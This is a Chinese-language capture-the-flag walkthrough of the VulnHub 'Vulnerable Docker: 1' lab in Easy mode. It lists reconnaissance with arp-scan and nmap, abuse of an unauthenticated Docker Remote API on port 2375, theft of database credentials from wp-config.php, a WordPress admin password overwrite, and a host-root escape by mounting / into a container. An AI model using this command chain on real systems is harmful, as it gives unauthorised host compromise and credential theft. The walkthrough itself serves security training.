vulnhub靶机之VULNERABLE DOCKER: 1-Easy简单模式

虚拟机信息：

虚拟机下载地址：https://www.vulnhub.com/entry/vulnerable-docker-1,208/

虚拟机简介：2 种模式

• ✅困难：这需要您结合您的 docker 技能以及您的渗透测试技能来实现主机妥协。

• ✅简单：相对简单的路径，知道 docker 就足以破坏机器并在主机上获得 root

目标：2个flag（flag_1 和 flag_3），在主机上获得 id=0 shell 访问权限

级别：简单/中级

1.1 信息收集

在主机开启时，需要选择Easy模式

1.主机信息收集

arp-scan 192.168.207.0/24

nmap -A -sS -sV -v -p- 192.168.207.132

查看开放22、2375和8000端口

2.Docker 接口调用

2375端口为docker Remote API接口

docker -H tcp://192.168.207.132:2375 version

docker -H tcp://192.168.207.132:2375 ps -a

查看运行三台容器

docker -H tcp://192.168.207.132:2375 exec -it content_wordpress_1 /bin/bash

cat wp-config.php

docker -H tcp://192.168.207.132:2375 exec -it content_db_1 /bin/bash
mysql -uwordpress -pWordPressISBest

use wordpress
show databases;
select * from wp_users;

UPDATE wordpress.wp_users SET user_pass=MD5("password") WHERE ID=1;

修改用户名为：bob，密码为：password

docker -H tcp://192.168.207.132:2375 images

docker -H tcp://192.168.207.132:2375 run --rm -it --entrypoint bash -v /:/tmp/root wordpress
cd /tmp/root/

cat flag_3

原文始发于微信公众号（安全孺子牛）：vulnhub靶机之VULNERABLE DOCKER: 1-Easy简单模式